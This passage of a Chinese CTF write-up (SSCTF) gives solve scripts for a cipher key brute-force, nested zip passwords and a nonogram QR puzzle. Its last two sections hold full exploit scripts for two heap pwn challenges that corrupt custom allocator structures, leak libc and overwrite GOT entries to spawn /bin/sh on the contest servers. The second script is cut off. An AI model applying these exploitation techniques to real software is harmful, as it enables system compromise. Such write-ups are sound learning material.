print res
求pass2
len = 0x13
ds = [59,76,125,122,90,125,117,122,95,97,117,125,88,113,106,59]
res = ''
for d in ds:
res += chr(d^len)
print '[/'+res+'/]'
求得两个pass为：
然后弹出来一个背景，不知道怎么继续下去了。后来猜背景后面可能有东西，然后nop掉几个画矩阵和椭圆的函数，就看到flag了。
**
**
**Crypto &Exploit**
**100 HeHeDa**
题目给了个加密程序，不知道加密的密钥是什么，但是知道是8位。
给出的out的结果实际上就是字符本身的二进制。
而且加密过程虽然很复杂，但是是逐位的，所以一位一位推可以推出密钥的值。密钥在计算的过程中被重复使用。
使用前8个字符推断密钥，密钥的可取值为：
64 94 137 ==
38 78 ==
35 ==
113 ==
68 243 ==
57 84 153 163 ==
51 245 ==
0 4 95 157 163 ==
---
后面几个：
94 ==
38 ==
35 ==
27 113 ==
22 68 ==
---
那么密钥的取值最后三位不确定：
94,38,35,113,68
我们写个程序 枚举所有密钥 并计算flag
def LShift(t, k):
k %= 8
return ((t << k) | (t >> (8 - k))) & 0xff
def encode(p):
ret = ""
for i in range(8):
ret = ('|' if (p >> i) & 1 else 'O') + ret
return ret
plaintemp = bytearray("asdfghjk123456")
def calc(key,plain=plaintemp):
A = [85, 128, 177, 163, 7, 242, 231, 69, 185, 1, 91, 89, 80, 156, 81, 9, 102, 221, 195, 33, 31, 131, 179, 246, 15, 139, 205, 49, 107, 193, 5, 63, 117, 74, 140, 29, 135, 43, 197, 212, 0, 189, 218, 190, 112, 83, 238, 47, 194, 68, 233, 67, 122, 138, 53, 14, 35, 76, 79, 162, 145, 51, 90, 234, 50, 6, 225, 250, 215, 133, 180, 97, 141, 96, 20, 226, 3, 191, 187, 57, 168, 171, 105, 113, 196, 71, 239, 200, 254, 175, 164, 203, 61, 16, 241, 40, 176, 59, 70, 169, 146, 247, 232, 152, 165, 62, 253, 166, 167, 182, 160, 125, 78, 28, 130, 159, 255, 124, 153, 56, 58, 143, 150, 111, 207, 206, 32, 144,
75, 39, 10, 201, 204, 77, 104, 65, 219, 98, 210, 173, 249, 13, 12, 103, 101, 21, 115, 48, 157, 147, 11, 99, 227, 45, 202, 158, 213, 100, 244, 54, 17, 161, 123, 92, 181, 243, 184, 188, 84, 95, 27, 72, 106, 192, 52, 44, 55, 129, 208, 109, 26, 24, 223, 64, 114, 19, 198, 23, 82, 120, 142, 178, 214, 186, 116, 94, 222, 86, 251, 36, 4, 248, 132, 25, 211, 199, 30, 87, 60, 127, 155, 41, 224, 151, 237, 136, 245, 37, 170, 252, 8, 42, 209, 46, 108, 88, 183, 149, 110, 66, 235, 229, 134, 73, 38, 118, 236, 119, 154, 216, 217, 240, 22, 121, 174, 93, 126, 230, 228, 18, 148, 220, 172, 2, 137, 34]
B = [0, 2, 3, 7, 1, 5, 6, 4]
C = [179, 132, 74, 60, 94, 252, 166, 242, 208, 217, 117, 255, 20, 99, 225, 58, 54, 184, 243, 37, 96, 106, 64, 151, 148, 248, 44, 175, 152, 40, 171, 251, 210, 118, 56, 6, 138, 77, 45, 169, 209, 232, 68, 182, 91, 203, 9, 16, 172, 95, 154, 90, 164, 161, 231, 11, 21, 3, 97, 70, 34, 86, 124, 114, 119, 223, 123, 167, 47, 219, 197, 221, 193, 192, 126, 78, 39, 233, 4, 120, 33, 131, 145, 183, 143, 31, 76, 121, 92, 153, 85, 100, 52, 109, 159, 112, 71, 62, 8, 244, 116, 245, 240, 215, 111, 134, 199, 214, 196, 213, 180, 189, 224, 101, 202, 201, 168, 32, 250, 59, 43, 27, 198, 239, 137, 238, 50,
149, 107, 247, 7, 220, 246, 204, 127, 83, 146, 147, 48, 17, 67, 23, 93, 115, 41, 191, 2, 227, 87, 173, 108, 82, 205, 49, 1, 66, 105, 176, 22, 236, 29, 170, 110, 18, 28, 185, 235, 61, 88, 13, 165, 188, 177, 230, 130, 253, 150, 211, 42, 129, 125, 141, 19, 190, 133, 53, 84, 140, 135, 10, 241, 222, 73, 12, 155, 57, 237, 181, 36, 72, 174, 207, 98, 5, 229, 254, 156, 178, 128, 55, 14, 69, 30, 194, 122, 46, 136, 160, 206, 26, 102, 218, 103, 139, 195, 0, 144, 186, 249, 79, 81, 75, 212, 234, 158, 163, 80, 226, 65, 200, 38, 187, 113, 63, 24, 25, 142, 51, 228, 35, 157, 216, 104, 162, 15, 89]
D = [2, 4, 0, 5, 6, 7, 1, 3]
assert len(key) == 8
t1 = bytearray()
for i in plain:
t1.append(A[i])
t2 = bytearray()
for i in range(len(t1)):
t2.append(LShift(t1[i], B[i % 8]))
for times in range(16):
for i in range(len(t2)):
t2[i] = C[t2[i]]
for i in range(len(t2)):
t2[i] = LShift(t2[i], i ^ D[i % 8])
for i in range(len(t2)):
t2[i] ^= key[i % 8]
out = ""
for i in t2:
out += encode(i)
return out
out='OO|OO||OO|||||OO|OO||O||O|O||O|||O|OOOOOOO|O|O|O|||||OO|||O|||OO||O|OOOOOO|O|OO|OO||||OO|||OOOO|||||O||||O|OO|O|O|O||OO|O||O|OO|O||O|||O||O|OO|OOOOOO||OOO|O|O|O|||O|OO|O|O||O||O||OOOOO|||OO|O|'
flagout="OO||O||O|O|||OOOO||||||O|O|||OOO||O|OOOO||O|O|OO|||||OOOO||||O||OO|OO||O||O|O|O|||||OOOOOO|O|O||OOOOOOO||O|||OOOO||OO|OO|||O|OO|O|||O|O|OO|OOOO|OOO|OOO|OOOO||O|OO||||OO||||OOO|O|O||OO||||O||OOO|||O|OO|OO||OO||OOOO|O|"
j=0
while j<14*8-8:
for i in range(0xff):
if calc([i,i,i,i,i,i,i,i])[j:j+8]==out[j:j+8]:
print i,
print "=="
j+=8
kp2=[57,84,153,163]
kp3=[51,245]
kp4=[0,4,95,157,163]
keylist=[]
for i1 in kp2:
for i2 in kp3:
for i3 in kp4:
temp=[94,38,35,113,68]
temp.append(i1)
temp.append(i2)
temp.append(i3)
keylist.append(temp)
print keylist
for key in keylist:
fte=[]
for ci in range(32):
for cc in range(0xff):
plaincc=[1]*(ci)
plaincc.append(cc)
rr=calc(key,plaincc)
#print cc,plaincc,rr,ci
if rr[ci*8:ci*8+8]==flagout[ci*8:ci*8+8]:
fte.append(chr(cc))
print ''.join(fte)
# out>>
# OO|OO||O O|||||OO |OO||O|| O|O||O|| |O|OOOOO OO|O|O|O |||||OO| ||O|||OO ||O|OOOO OO|O|OO| OO||||OO |||OOOO|||||O||||O|OO|O|O|O||OO|O||O|OO|O||O|||O||O|OO|OOOOOO||OOO|O|O|O|||O|OO|O|O||O||O||OOOOO|||OO|O|
# flag >>
# OO||O||O|O|||OOOO||||||O|O|||OOO||O|OOOO||O|O|OO|||||OOOO||||O||OO|OO||O||O|O|O|||||OOOOOO|O|O||OOOOOOO||O|||OOOO||OO|OO|||O|OO|O|||O|O|OO|OOOO|OOO|OOO|OOOO||O|OO||||OO||||OOO|O|O||OO||||O||OOO|||O|OO|OO||OO||OOOO|O|
发现只有一个flag没有乱码
**
**
**200 Chain Rule**
很多带密码zip，提示说try start，推测有一个压缩包的解压密码是start，果然有一个是，解压出来的txt是下一个压缩包的解压密码，于是写个程序跑：
import zipfile
import os
a=os.listdir("crypto")
print a
def zipout(opath,outpath,password):
zip = zipfile.ZipFile(opath, "r",zipfile.zlib.DEFLATED)
try:
zip.extractall(path=outpath,members=zip.namelist() , pwd=password)
return 1
except:
return 0
ppass="start"
while(1):
for f in a:
if zipout(r"crypto/"+f,r"hehe/"+f,ppass)==1:
r=open(r"hehe/"+f+"/1.txt","r")
rr=r.read()
print rr
r.close()
ppass=rr.split("n")[0].split("is ")[1]
能找到pwd.zip和flag.zip两个文件，pwd.zip是一个新的指来指去的游戏，flag.zip是个带密码的压缩文件.
后面有两种方法：
第一种暴力一点直接明文攻击flag.zip就行，用AAPR。
第二种：
写个程序把这个新的指来指去的游戏玩完，注意查重，否则会无限循环，是有分支的：
最后是这样：
于是用zipinfo -v可以获得每个文件的comment，有三种不同注释。
然后我做了一个回溯的表获得到达最后一个信息的遍历路径，然后组合起来，后面就是套路了
这里方便变成写了个递归，深度有点大，所以躲开了下系统限制：
import sys
sys.setrecursionlimit(1000000)
fr="start"
prelist=["1"]*999999
def openfuck(fr):
r=open("GAME/"+fr+".txt","r")
rr=r.read()
r.close()
print fr,rr,rr.encode("hex")
try:
frn=rr.split("n")[0].split("xt is ")[1].split(" ")[0]
if prelist[int(frn)]=="1":
prelist[int(frn)]=fr
openfuck(frn)
if "or" in rr:
frn2=rr.split("n")[0].split("or ")[1].split(" ")[0]
if prelist[int(frn2)]=="1":
prelist[int(frn2)]=fr
openfuck(frn2)
except:
pass
openfuck("start")
final=[]
test="376831"
while test!="start":
final.append(test)
test=prelist[int(test)]
print test
**300 Nonogram**
本题是一个nonogram游戏，游戏开始后服务端发来行列的数值，据此解出相应的图片，在解题过程中发现解出的图片都是二维码，而且是经过一定的破坏，电脑端没找到什么好的工具，都是用微信扫的….
解nonogram方面搜了挺多工具，最终发现一个比较快的，参考[http://www.hakank.org/constraint_programming_blog/2010/11/google_cp_solver_a_much_faster_nonogram_solver_using_defaultsearch.html](http://www.hakank.org/constraint_programming_blog/2010/11/google_cp_solver_a_much_faster_nonogram_solver_using_defaultsearch.html)。
二维码的图片
最终解出的二维码扫完之后如下，
b2403b96?8924408|Next:id|Salt:5
59b6a648?8a85a2f|Next:w|Salt:a
ebcfd0bc?c532969|Next:eval|Salt:d
30cfce11?f4fe85d|Next:bash|Salt:1
6e9b1036?8dd8d17|Next:ls|Salt:c
679df8e4?564b41e|Next:dir|Salt:f
8eb99012?513f24f|Next:cd|Salt:f
e0327ad8?8d138f2|Next:mv|Salt:7
32d17e56?07902b2|Next:cp|Salt:2
7e88149a?8dd32b2|Next:pwd|Salt:3
a57b0395?163467c|Next:tree|Salt:3
f75f2a3e?6164d0f|Next:apt|Salt:9
41bb47e0?09205ea|Next:mysql|Salt:d
5cb4d45b?d0e5624|Next:php|Salt:c
92327e4c?43d619d|Next:head|Salt:4
3ad1439f?85ac494|Next:tail|Salt:b
68b6edd3?15b3edc|Next:cat|Salt:1
9f078b06?0cd507d|Next:grep|Salt:7
a50c413a?c7e05ad|Next:more|Salt:3
36b90d08?4cf640b|Next:less|Salt:b
6e7929b1?5f85978|Next:vim|Salt:3
4dfa42ca?dbd0694|Next:nano|Salt:2
8b94aee6?a2f1642|Next:sed|Salt:f
4cea9109?07cacd8|Next:awk|Salt:1
4cee5724?a9b28b7|Next:ps|Salt:a
6a60928b?5a7e228|Next:top|Salt:8
d34d9c29?711bdb3|Next:kill|Salt:7
b7942173?881b53e|Next:find|Salt:8
f766fa44?1ed0ff6|Next:break|Salt:4
4528ad8b?6d6bbed|Next:gcc|Salt:4
aa6880d6?7b76c95|Next:debug|Salt:0
c30201f7?f142449|Next:git|Salt:0
a9ded88f?8ecee47|Next:curl|Salt:9
f062936a?6d3c8bd|Next:wget|Salt:5
6ed83efb?5042fb3|Next:gzip|Salt:b
22bcc25a?f606eb5|Next:tar|Salt:4
fc8586df?4d1bc0e|Next:ftp|Salt:3
08e95939?adf34b1|Next:ssh|Salt:9
74b5a988?9bbd4b5|Next:exit|Salt:c
---
所有题目解完后服务器提示这个，如下图，纠结了半天。。combine这个词用的简直..
后来猜了一下发现，flag的每个字母加上salt算出来的16位MD5、正好是前面的一串字符串。这样爆破就可以爆破出来了。
Flag是SSCTF{02909c92cd8efb656435f43fa8414147}
附上脚本，好几个，挺乱的，有一些特例运行不了手工调整的。
首先是连接的脚本
import zio
import json
from CTFs.TOOL.binqr import BinQR
from nonogram_default_search import main as getSolve
z = zio.zio(('socket.lab.seclover.com', 52700))
z.read_until('Email Addr : ')
z.writeline('[email protected]')
z.read_until(':')
z.writeline('RVfUzFGQsyod')
number = 0
with open('input', 'r') as f:
for line in f.readlines():
# for line in ['sudo sun', 'idn']:
if line:
z.read_until(['#', '$'])
z.write(line)
number += 1
f = open('input', 'a+')
z.read_until(zio.EOF)
while z.isalive():
z.readline()
data = z.read_line().strip()
if '"?"' in data:
l = None
for r in '0123456789':
datac = data.replace('"?"', r)
j = json.loads(datac)
col = j['col']
row = j['row']
l = getSolve(row, col)
if l:
break
l = l[0]
b = BinQR(l)
b.save(str(number) + '.' + r + '.png')
b.show()
else:
j = json.loads(data)
col = j['col']
row = j['row']
l = getSolve(row, col)
if l:
b = BinQR(l)
b.save(str(number) + '.png')
b.show()
z.read_until(['#', '$'])
getInput = raw_input()
f.write(getInput + 'n')
z.writeline()
number += 1
z.interact()
# #
#
import hashlib
import string
import sys
from ortools.constraint_solver import pywrapcp
#
# Make a transition (automaton) list of tuples from a
# single pattern, e.g. [3,2,1]
#
def make_transition_tuples(pattern):
p_len = len(pattern)
num_states = p_len + sum(pattern)
tuples = []
# this is for handling 0-clues. It generates
# just the minimal state
if num_states == 0:
tuples.append((1, 0, 1))
return (tuples, 1)
# convert pattern to a 0/1 pattern for easy handling of
# the states
tmp = [0]
c = 0
for pattern_index in range(p_len):
tmp.extend([1] * pattern[pattern_index])
tmp.append(0)
for i in range(num_states):
state = i + 1
if tmp[i] == 0:
tuples.append((state, 0, state))
tuples.append((state, 1, state + 1))
else:
if i < num_states - 1:
if tmp[i + 1] == 1:
tuples.append((state, 1, state + 1))
else:
tuples.append((state, 0, state + 1))
tuples.append((num_states, 0, num_states))
return (tuples, num_states)
#
# check each rule by creating an automaton and transition constraint.
#
def check_rule(rules, y):
cleaned_rule = [rules[i] for i in range(len(rules)) if rules[i] > 0]
(transition_tuples, last_state) = make_transition_tuples(cleaned_rule)
initial_state = 1
accepting_states = [last_state]
solver = y[0].solver()
solver.Add(solver.TransitionConstraint(y,
transition_tuples,
initial_state,
accepting_states))
def main(row_rules, col_rules):
rows = len(row_rules)
cols = len(col_rules)
row_rule_len = 0
col_rule_len = 0
for i in row_rules:
if len(i) > row_rule_len:
row_rule_len = len(i)
for i in col_rules:
if len(i) > col_rule_len:
col_rule_len = len(i)
# Create the solver.
solver = pywrapcp.Solver('Nonogram')
#
# variables
#
board = {}
for i in range(rows):
for j in range(cols):
board[i, j] = solver.IntVar(0, 1, 'board[%i, %i]' % (i, j))
# board_flat = [board[i, j] for i in range(rows) for j in range(cols)]
# Flattened board for labeling.
# This labeling was inspired by a suggestion from
# Pascal Van Hentenryck about my (hakank's) Comet
# nonogram model.
board_label = []
if rows * row_rule_len < cols * col_rule_len:
for i in range(rows):
for j in range(cols):
board_label.append(board[i, j])
else:
for j in range(cols):
for i in range(rows):
board_label.append(board[i, j])
#
# constraints
#
for i in range(rows):
check_rule(row_rules[i], [board[i, j] for j in range(cols)])
for j in range(cols):
check_rule(col_rules[j], [board[i, j] for i in range(rows)])
#
# solution and search
#
parameters = pywrapcp.DefaultPhaseParameters()
parameters.heuristic_period = 200000
db = solver.DefaultPhase(board_label, parameters)
print 'before solver, wall time = ', solver.WallTime(), 'ms'
solver.NewSearch(db)
num_solutions = 0
results = []
while solver.NextSolution():
print
num_solutions += 1
result = []
for i in range(rows):
row = [board[i, j].Value() for j in range(cols)]
row_pres = []
for j in row:
if j == 1:
row_pres.append('1')
else:
row_pres.append('0')
result.extend(row_pres)
result = ''.join(result)
# print ' ', ''.join(row_pres)
# print
# print ' ', '-' * cols
results.append(result)
if num_solutions == 2:
# print '2 solutions is enough...'
break
solver.EndSearch()
# print
# print 'num_solutions:', num_solutions
# print 'failures:', solver.Failures()
# print 'branches:', solver.Branches()
# print 'WallTime:', solver.WallTime(), 'ms'
return results
生成二维码的解题的脚本
from PIL import Image
import math
import itertools
class BinQR:
def __init__(self, s):
if not isinstance(s, str):
raise ValueError("You must input a string")
self.data = s.replace('r', '').replace('n', '').replace('t', '').replace(' ', '')
length = len(self.data)
if self.data.count('0') + self.data.count('1') != length:
raise ValueError("You can only input 1 and 0")
self.col = int(math.sqrt(length))
if pow(self.col, 2) != length:
raise ValueError("You must input a square")
# self.data = [list(self.data[i:i + self.col]) for i in xrange(0, length, self.col)]
self.pic = Image.new("RGB", (self.col, self.col))
for i, (y, x) in enumerate(itertools.product(*([xrange(self.col)] * 2))):
self.pic.putpixel((x, y), (0, 0, 0) if self.data[i] == '1' else (255, 255, 255))
def save(self, path):
self.pic.save(path)
def show(self, resize=10):
if resize:
self.pic.resize((self.col * resize, self.col * resize)).show()
else:
self.pic.show()
import hashlib
import string
print
a = []
for line in open('input2', 'r').readlines():
md5, _, salt = line.strip().split('|')
salt = salt.split(':')[-1]
a.append((md5.strip(), salt.strip()))
def get_letter(md5, salt):
index = md5.index('?')
for i in string.printable:
m2 = hashlib.md5(i + salt).hexdigest()[8:24]
md5 = md5[:index] + m2[index] + md5[index + 1:]
if m2 == md5:
return i
raise Exception(i)
b = []
for md5, salt in a:
b.append(get_letter(md5, salt))
print ''.join(b)
**400 Pwn-1最后是爆破的**
这道题目是一个数值排序的程序，它模拟了内存的分配与释放，对于历史记录信息的内容和管理结构是用自己定义的内存分配释放进行的，主要的洞就在于，对于输入的数字序列进行修改和查询时，可以越界一个index：
查询：
修改：
在自己管理的内存部分，存储两类数据：
信息内容：
00000000 history_info_struct struc ; (sizeof=0x8)
00000000 count dd ?
00000004 number_buff dd ? ; offset
00000008 history_info_struct ends
信息管理结构：
00000000 history_manager_struct struc ; (sizeof=0x8)
00000000 info dd ? ; offset
00000004 next dd ?
00000008 history_manager_struct ends
而这两种结构在这部分内存中是连续排放的，所以越界很容易修改和查看另一种结构体的第一个int值，count或者info（属于history_info_struct类型）
这样泄露很容易，但是修改的值不太好利用，因为很多地方参数都是history_info_struct，这个结构没法直接修改，只能改掉历史记录中的信息，而不是正在使用的信息，于是去找重点地方，如下：
可以看见，在memcpy的时候，如果n为0，那么dest里面的东西会保持不变，于是利用思路如下：
构造两个假的history_info_struct，其中一个的count的值为-1，
另外一个的count为一个很大的数（0x7ffffff0）,然后利用index修改history_manager_struct结构中的info，使其指向这个假节点（count的值为-1的地方），然后控制内存使得下一个节点分配出来的刚好是count为0x7ffffff0的地方时，进行reload操作，此时alloc_mem_diy_8048B11（0）刚好能够返回大小为8的节点，而dest中的信息依然不变，其中count域却成了0x7ffffff0，这样就可以在处理update和query的时候进行大范围的查询和修改。
然而这样还是有问题，因为0x7ffffff0+heap的范围依然很小，根本达不到got表，于是考虑一个跳板，由于自定义的内存部分大小是0x10000，管理内存的控制结构却要重新malloc，而且只能是内存碎化，没法合并，而且内存的管理是按照从小到大排序，每次从前往后匹配，直到找到合适的为止。这部分内存的管理结构如下：
00000000 manager_info_struct struc ; (sizeof=0x10,)
00000000 mem_size dd ?
00000004 in_use dd ?
00000008 data_buff dd ? ; offset
0000000C next dd ? ; offset
00000010 manager_info_struct ends
通过前面的update可以修改后续heap中的manager_info_struct结构，将其置为可用，且data_buff指向got表，那么下次申请到的就是got的内容，此时就可以任意查询和修改了。
整个思路就是这样，关键得去布置内存，由于我信息泄露实现的比较早（有点多余了），导致最后到达got的时候，只是用了修改这个功能。
详细的布置方法见脚本：
__author__ = "pxx"
from zio import *
from pwn import *
import struct
#target = "./pwn1"
target = ("pwn.lab.seclover.com", 11111)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def history(io):
io.read_until("_CMD_$ ")
io.writeline("history")
def t_reload(io, t_id):
io.read_until("_CMD_$ ")
io.writeline("reload")
io.read_until("Reload history ID: ")
io.writeline(str(t_id))
def clear(io):
io.read_until("_CMD_$ ")
io.writeline("clear")
def sort(io, seq):
io.read_until("_CMD_$ ")
io.writeline("sort")
io.read_until("How many numbers do you want to sort: ")
io.writeline(str(len(seq)))
for item in seq:
io.read_until("Enter a number: ")
io.writeline(item)
def sort2(io, seq, count):
io.read_until("_CMD_$ ")
io.writeline("sort")
io.read_until("How many numbers do you want to sort: ")
io.writeline(str(count))
for item in seq:
io.read_until("Enter a number: ")
io.writeline(item)
def t_exit(io):
io.read_until("_CMD_$ ")
io.writeline("exit")
def sub_query(io, index):
io.read_until("Choose: ")
io.writeline("1")
io.read_until("Query index: ")
io.writeline(str(index))
def sub_update(io, index, number):
io.read_until("Choose: ")
io.writeline("2")
io.read_until("Update index: ")
io.writeline(str(index))
io.read_until("Update number: ")
io.writeline(str(number))
def sub_sort(io):
io.read_until("Choose: ")
io.writeline("3")
def sub_quit(io):
io.read_until("Choose: ")
io.writeline("7")
def pwn(io):
#prepare
seq = ["1"] * 15
sort(io, seq)
sub_sort(io)
sub_quit(io)
seq = ["2"]
sort(io, seq)
sub_sort(io)
sub_quit(io)
#io.gdb_hint()
clear(io)
seq = ["2"]
sort(io, seq)
sub_sort(io)
sub_quit(io)
seq = ["2"]
sort(io, seq)
sub_sort(io)
sub_quit(io)
seq = ["1"] * 13
sort(io, seq)
sub_sort(io)
#system_addr = struct.unpack("i", struct.pack("I", system_addr))
sub_update(io, 5, 0x7ffffff0)
sub_update(io, 6, 0)
sub_update(io, 9, -1)
sub_update(io, 10, 0)
sub_update(io, 13, 100)
sub_quit(io)
history(io)
io.read_until("ID = 1")
io.read_until("Data = 2 ")
data = int(io.read_until(" ")[:-1])
heap_addr = struct.unpack("I", struct.pack("i", data))[0]
print "heap_addr:", hex(heap_addr)
data_buff = heap_addr - 0x08
print "data_buff:", hex(data_buff)
clear(io)
#io.interact()
seq = ["1"]
sort(io, seq)
sub_sort(io)
sub_quit(io)
seq = ["1"]
sort(io, seq)
sub_sort(io)
sub_quit(io)
#2
seq = ["1"]
sort(io, seq)
sub_sort(io)
puts_got = 0x0804d030
sub_update(io, 1, puts_got)
sub_quit(io)
history(io)
io.read_until("ID = 2")
io.read_until("Len = ")
data = int(io.read_until(", Data")[:-6])
real_addr = struct.unpack("I", struct.pack("i", data))[0]
print "real_addr:", hex(real_addr)
#elf_info = ELF("./libc.so.6")
elf_info = ELF("./libc.so")
print hex(elf_info.symbols["puts"])
libc_addr = real_addr - elf_info.symbols["puts"]
system_addr = libc_addr + elf_info.symbols["system"]
print "system addr:", hex(system_addr)
#
seq = ["4"] * 1
sort(io, seq)
sub_sort(io)
zero_area = data_buff + (2 + 5 + 5) * 4
sub_update(io, 1, zero_area)
sub_quit(io)
history(io)
#io.gdb_hint()
#
t_reload(io, 1)
sub_query(io, 100)
begin_addr = data_buff + 0x20 + 1 * 4
atoi_got = 0x804d020
print "atoi_got:", hex(atoi_got)
global_addr = (data_buff & 0xffffff00) + 0x10100
print "global_addr:", hex(global_addr)
diff = global_addr - begin_addr
print diff
diff_index = (0x100e8 - (0x058 + 4)) / 4
sub_update(io, diff_index, 0x1000)
sub_update(io, diff_index + 1, 0x0)
sub_update(io, diff_index + 2, atoi_got - 0x10)
sub_update(io, diff_index + 3, 0)
io.gdb_hint()
sub_quit(io)
seq = ['q']
sort2(io, seq, 4)
#if diff < 0:
# sub_quit(io)
# t_exit(io)
# return False
system_addr = struct.unpack("i", struct.pack("I", system_addr))[0]
sub_update(io, 3, system_addr)
sub_quit(io)
io.read_until("Choose: ")
io.writeline("/bin/sh")
io.interact()
return True
io = get_io(target)
pwn(io)
成功截图：
**600 Pwn-2**
这个题目与pwn400属于同一系列，大部分代码相同，可以看成pwn2增加了一些机制，在history_info_struct结构体部分，增加了一个canary，如下:
00000000 history_info_struct struc ; (sizeof=0xC)
00000000 count dd ?
00000004 canary dd ?
00000008 number_buff dd ? ; offset
0000000C history_info_struct ends
其中canary的计算至于一个随机数和count有关系，而且count的计数也只与你实际输入的个数相关，而不是pwn1中最开始的那个数量，如下：
在查询和修改之前都会检查canary：
查询：
修改：
然而，index漏洞依然存在，但是不能只通过修改count和info就能利用的，因为count和canary及随机数相关，必须联动修改。
问题1，泄露随机数：由于查询可以越界1个index，在打印历史记录时，如果count值小于等于0，那么他可以打印基本信息，如id号和count值，但是不打印后续信息，所以可以更改后一个history_manager_struct的值为随机数全局变量的地址，通过长度泄露得知。
问题2，构造利用，其实基本和pwn1差不多，也需要构造两个假节点，一个节点的count值为-2，另一个的值为特别大的数，但是在reload之前，由于不修改dest中的内容，所以count和canary提取能够预知的只有一个，因为提取布置内存的时候，随机数还没有泄露，而泄露了以后，clear函数就不能在执行，所以在这里先不设置count，因为canary
=
count^随机数，所以我可以将canary先设置非常小，然后再知道随机数后，就可以得到相应的count值，由于是随机数，每位都随机，所以canary较小时，count一般较大，最后计算出count后，直接通过越界去布置这个内容即可。
问题3，got表不合适，pwn1中可以先不设置元素内容，但是数量依然有保障，但是pwn2是根据你实际输入的个数来确定你的count，所以每次会大量修改got表中的值，这样先修改后跨函数利用的话，基本都会崩溃。在这里采用reload的方式，将已知的值存在另一块内存中，然后直接copy过来。
问题4，还需要注意的是堆内存需要进行转移，由于设置的东西较多，设置的时候需要申请的值也比较多，但是后面一部分堆没有map进来，所以需要进行转移。
详细方法见脚本：
__author__ = "pxx"
from zio import *
from pwn import *
import struct
#target = "./pwn2"
target = ("pwn.lab.seclover.com", 22222)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def history(io):
io.read_until("_CMD_$ ")
io.writeline("history")
def t_reload(io, t_id):
io.read_until("_CMD_$ ")
io.writeline("reload")
io.read_until("Reload history ID: ")
io.writeline(str(t_id))
def clear(io):
io.read_until("_CMD_$ ")
io.writeline("clear")
def sort(io, seq):
io.read_until("_CMD_$ ")
io.writeline("sort")
io.read_until("How many numbers do you want to sort: ")
io.writeline(str(len(seq)))
for item in seq:
io.read_until("Enter a number: ")
io.writeline(item)
def sort2(io, seq, count):
io.read_until("_CMD_$ ")
io.writeline("sort")
io.read_until("How many numbers do you want to sort: ")
io.writeline(str(count))
for item in seq:
io.read_until("Enter a number: ")
io.writeline(item)
def t_exit(io):
io.read_until("_CMD_$ ")
io.writeline("exit")
def sub_query(io, index):
io.read_until("Choose: ")
io.writeline("1")
io.read_until("Query index: ")
io.writeline(str(index))
def sub_update(io, index, number):
io.read_until("Choose: ")
io.writeline("2")
io.read_until("Update index: ")
io.writeline(str(index))
io.read_until("Update number: ")
io.writeline(str(number))
def sub_sort(io):
io.read_until("Choose: ")
io.writeline("3")
def sub_quit(io):
io.read_until("Choose: ")
io.writeline("7")
def pwn(io):
seq = ["8"] * 16
sort(io, seq)
sub_sort(io)
#sub_update(io, 9, 0x7ffffff0)
sub_query(io, 16)
io.read_until("[*L*] Query result: ")
data = io.read_until("n")[:-1]
heap_addr = int(data)
data_buff = heap_addr
print "data_buff:", hex(data_buff)
sub_quit(io)
#prepare
seq = ["1"] * 6
sort(io, seq)
sub_sort(io)
sub_quit(io)
seq = ["1"] * 2
sort(io, seq)
sub_sort(io)
sub_quit(io)
clear(io)
seq = ["1"] * 2
sort(io, seq)
sub_sort(io)
rand_val_addr = 0x0804C04C
sub_update(io, 2, rand_val_addr)
sub_quit(io)
history(io)
io.read_until("[*L*] ID = 0")
io.read_until("Len = ")
data = int(io.read_until(", Data")[:-6])
rand_val_addr = struct.unpack("I", struct.pack("i", data))[0]
print "rand_val_addr:", hex(rand_val_addr)
#io.gdb_hint()
###
seq = ["1"] * 6
sort(io, seq)
sub_sort(io)
print "canary:", hex(0xfffffffe ^ rand_val_addr)
canary = struct.unpack("i", struct.pack("I", 0xfffffffe ^ rand_val_addr))[0]
sub_update(io, 0, -2 )
sub_update(io, 1, canary)
zero_area = data_buff + (22) * 4
sub_update(io, 6, zero_area)
sub_quit(io)
history(io)
#io.read_until("ID = 1")
#io.read_until("Data = 2 ")
#data = int(io.read_until(" ")[:-1])
#heap_addr = struct.unpack("I", struct.pack("i", data))[0]
#print "heap_addr:", hex(heap_addr)
#data_buff = heap_addr - 0x08
#print "data_buff:", hex(data_buff)
seq = ["1"] * 2
count = struct.unpack("i", struct.pack("I", 8 ^ rand_val_addr))[0]
sort(io, seq)
sub_sort(io)
sub_update(io, 2, count)
sub_quit(io)
#io.gdb_hint()
t_reload(io, 2)
#io.interact()
sub_query(io, 100)
strtol_got = 0x0804c01c
puts_got = 0x0804c034
print "puts_got:", hex(puts_got)
global_addr = (data_buff & 0xfffff000) + 0x100a0
print "global_addr:", hex(global_addr)
diff_index = (0x100a0 - (0x048 + 8)) / 4
extern_addr = global_addr - 0x500
other_addr = global_addr - 0x400
other_index = diff_index - 0x400 / 4
extern_got = global_addr - 0x550
sub_update(io, diff_index + 0, 0x8)
sub_update(io, diff_index + 1, 0x0)
sub_update(io, diff_index + 2, extern_addr)
sub_update(io, diff_index + 3, other_addr)
sub_update(io, other_index + 0, 0x8)
sub_update(io, other_index + 1, 0x0)
sub_update(io, other_index + 2, extern_addr + 0x08)
sub_update(io, other_index + 3, other_addr + 0x10)
sub_update(io, other_index + 4, 0x8)
sub_update(io, other_index + 5, 0x0)
sub_update(io, other_index + 6, extern_addr + 0x10)
sub_update(io, other_index + 7, other_addr + 0x20)
sub_update(io, other_index + 8, 0x10)
sub_update(io, other_index + 9, 0x0)
sub_update(io, other_index + 10, puts_got - 0xC)
sub_update(io, other_index + 11, other_addr + 0x30)
sub_update(io, other_index + 12, 0x10)
sub_update(io, other_index + 13, 0x0)
sub_update(io, other_index + 14, extern_got)
sub_update(io, other_index + 15, other_addr + 0x40)
sub_update(io, other_index + 16, 0x10)
sub_update(io, other_index + 17, 0x0)
sub_update(io, other_index + 18, strtol_got - 0xC)
sub_update(io, other_index + 19, 0)
"""
sub_update(io, diff_index + 12, 0x10)
sub_update(io, diff_index + 13, 0x0)
sub_update(io, diff_index + 14, extern_got)
sub_update(io, diff_index + 15, global_addr + 0x30)
sub_update(io, diff_index + 16, 0x10)
sub_update(io, diff_index + 17, 0x0)
sub_update(io, diff_index + 18, strtol_got - 0xC)
sub_update(io, diff_index + 19, 0)
"""
sub_quit(io)
seq = ['1', '%d'%(0x08048776)]
io.gdb_hint()
sort(io, seq)
